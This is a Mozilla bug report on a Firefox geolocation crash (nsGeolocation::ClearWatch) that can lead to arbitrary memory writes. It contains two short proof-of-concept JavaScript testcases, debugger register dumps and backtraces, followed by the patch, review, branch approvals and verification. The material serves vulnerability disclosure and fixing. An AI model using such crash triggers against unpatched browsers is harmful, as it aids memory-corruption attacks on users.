605307 - nsGeolocation::ClearWatch crash

Status: RESOLVED FIXED

(Firefox :: General, defect)

Description

[Nils]

User-Agent:       Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6) Gecko/20100101 Firefox/4.0b6
Build Identifier: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6) Gecko/20100101 Firefox/4.0b6

Description:
Calling watchPosition on the geolocation object with an object as argument
followed by a clearWatch call leads to a crash. These crashes sometimes
show exploitable behaviour ( arbitray writes ).

Confirmed Versions:
-----------------------
	Firefox 4.0 beta 6
	Firefox 3.6.10

Testcase:
------------------------

Smallest testcase:
<script>
o3=navigator;
o7=new Error();
o15=o3.geolocation;
o15.watchPosition(o7);
try{o15.clearWatch(1);}catch(e){}
</script>


More likely to show exploitable behaviour:
<script>
o3=navigator;
o7=new Error();
o15=o3.geolocation;
for(var x=0; x<10;x++) o15.watchPosition(o7);
for(var x=0; x<10;x++) try{o15.clearWatch(x+1);}catch(e){}
</script>


Testcase Notes:
-----------------------
The testcase might need several reloads in the browser.

Stack Backtrace:

Linux:
eax            0xa5a5a5a5       -1515870811
ecx            0xb7db6ff4       -1210355724
edx            0x0      0
ebx            0xb7db6ff4       -1210355724
esp            0xbfffd4c0       0xbfffd4c0
ebp            0xbfffd4e8       0xbfffd4e8
esi            0xbfffd614       -1073752556
edi            0x1      1
eip            0xb6ceaac7       0xb6ceaac7 <nsGeolocation::ClearWatch(int)+51>
eflags         0x10286  [ PF SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
=> 0xb6ceaac7 <_ZN13nsGeolocation10ClearWatchEi+51>:    movb   $0x1,0x29(%eax)
   0xb6ceaacb <_ZN13nsGeolocation10ClearWatchEi+55>:    xor    %eax,%eax
   0xb6ceaacd <_ZN13nsGeolocation10ClearWatchEi+57>:    add    $0xc,%esp


Program received signal SIGSEGV, Segmentation fault.
nsGeolocation::ClearWatch (this=0xa7652b80, aWatchId=1) at /home/ubuntu/build/src/dom/src/geolocation/nsGeolocation.cpp:979
warning: Source file is more recent than executable.
979       mWatchingCallbacks[aWatchId]->MarkCleared();
#0  nsGeolocation::ClearWatch (this=0xa7652b80, aWatchId=1) at /home/ubuntu/build/src/dom/src/geolocation/nsGeolocation.cpp:979
#1  0xb757e9ab in NS_InvokeByIndex_P () from /home/ubuntu/build/debug/dist/bin/libxul.so
#2  0xb7018a8d in CallMethodHelper::Call() () from /home/ubuntu/build/debug/dist/bin/libxul.so
#3  0xb701288c in XPCWrappedNative::CallMethod (ccx=..., mode=XPCWrappedNative::CALL_METHOD)
    at /home/ubuntu/build/src/js/src/xpconnect/src/xpcwrappednative.cpp:2304
#4  0xb701f2eb in XPC_WN_CallMethod (cx=0xaec27000, obj=0xaaa39f90, argc=2862849936, argv=0xb21fd428, vp=0xb21fd508)
    at /home/ubuntu/build/src/js/src/xpconnect/src/xpcwrappednativejsops.cpp:1738
#5  0xb7710d2a in callJSNative (cx=0xaec27000, fun=<value optimized out>, script=0x0,
    native=0xb701f18c <XPC_WN_CallMethod(JSContext*, JSObject*, unsigned int, jsval_layout*, jsval_layout*)>, argsRef=..., flags=2)


Windows:
(1b5c.13b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
xul!nsGeolocation::ClearWatch+0x1d:
5f12fde1 c6402501        mov     byte ptr [eax+25h],1       ds:002b:6c6d7853=6c

xul!nsGeolocation::ClearWatch+0x1d
xul!NS_InvokeByIndex_P+0x27
xul!XPC_WN_CallMethod+0x886
MOZCRT19!arena_dalloc+0x39
xul!js::MonitorLoopEdge+0x87f
xul!js::Interpret+0x24c0
xul!js::Execute+0x392
xul!JS_EvaluateUCScriptForPrincipals+0x59
xul!nsJSContext::EvaluateString+0x18a
xul!nsScriptLoader::EvaluateScript+0x17c
xul!nsScriptLoader::ProcessRequest+0xb2
xul!nsScriptLoader::ProcessScriptElement+0x2f3
xul!nsScriptElement::MaybeProcessScript+0x8c
xul!nsHTMLScriptElement::MaybeProcessScript+0x1e
xul!nsHTMLScriptElement::DoneAddingChildren+0xf
xul!nsHtml5TreeOpExecutor::RunScript+0x7f
xul!nsHtml5TreeOpExecutor::RunFlushLoop+0x2a1
xul!nsHtml5ExecutorReflusher::Run+0x11
xul!nsThread::ProcessNextEvent+0x17a
xul!mozilla::ipc::MessagePump::Run+0x6e


My reference #	  : d4f8755506e48534c2eb4dda39a054c1_1
VulnDev reference : vd10002


reported by nils of vulndev ltd.


Reproducible: Always

Steps to Reproduce:
1. save testcase to html file
2. load testcase
3. crash
Actual Results:  
crash

Expected Results:  
no crash

Comment 1

[Doug Turner (:dougt)]

Attachment: patch v.1

Comment 2

[Doug Turner (:dougt)]

simple fix; we should back port this to 1.9.2.

Comment 3

[Daniel Veditz [:dveditz]]

1.9.1 has the same code and is still supported.

Comment 4

[Daniel Veditz [:dveditz]]

Comment on attachment 484212 [details] [diff] [review]
patch v.1

r=dveditz

Comment 5

[Doug Turner (:dougt)]

Discussed with dveditz yesterday.  Felt it could be exploitable.  The patch is very simple and includes a test case -- basically improving an existing test case.

Further discussed with devitz that I should land my fix on m-c, and request approval for 1.9.1 and 1.9.2

Pushed to mozilla-central:
http://hg.mozilla.org/mozilla-central/rev/d5d273398344

Waiting for permission for 1.9.1 and 1.9.2.

Comment 6

[Johnny Stenback (:jst)]

Comment on attachment 484212 [details] [diff] [review]
patch v.1

This is a blocker, doesn't need approval to land...

Comment 7

[Daniel Veditz [:dveditz]]

(In reply to comment #6)
> This is a blocker, doesn't need approval to land...

...for Firefox 4/trunk. Stable branches have different rules and always require patch approval. (jst knows this, just don't want others to read this bug and interpret his comment too broadly.)

Comment 5 looks like a trunk fix was checked in, marking bug so. Branch status is tracked in the "status1.9.x" custom fields.

Comment 8

[LegNeato]

Comment on attachment 484212 [details] [diff] [review]
patch v.1

a=LegNeato for 1.9.2.12 and 1.9.1.15

Comment 9

[Doug Turner (:dougt)]

http://hg.mozilla.org/releases/mozilla-1.9.2/rev/74e4421e0a30
http://hg.mozilla.org/releases/mozilla-1.9.1/rev/ca9afc176ebb

The tests could not land as they include testing features not available unless we back port a bunch of stuff.  I don't think it matters that much since we have the tests running on m-c, and I don't plan on adding anything else to geo on these branches.

Comment 10

[Al Billings [:abillings - ex-MoCo]]

Verified for 1.9.2 with Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.13pre) Gecko/20101118 Namoroka/3.6.13pre. Watched the crash with the testcases in comment 0 with 1.9.2.12.

Verified for 1.9.1 with Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.16pre) Gecko/20101118 Shiretoko/3.5.16pre as well.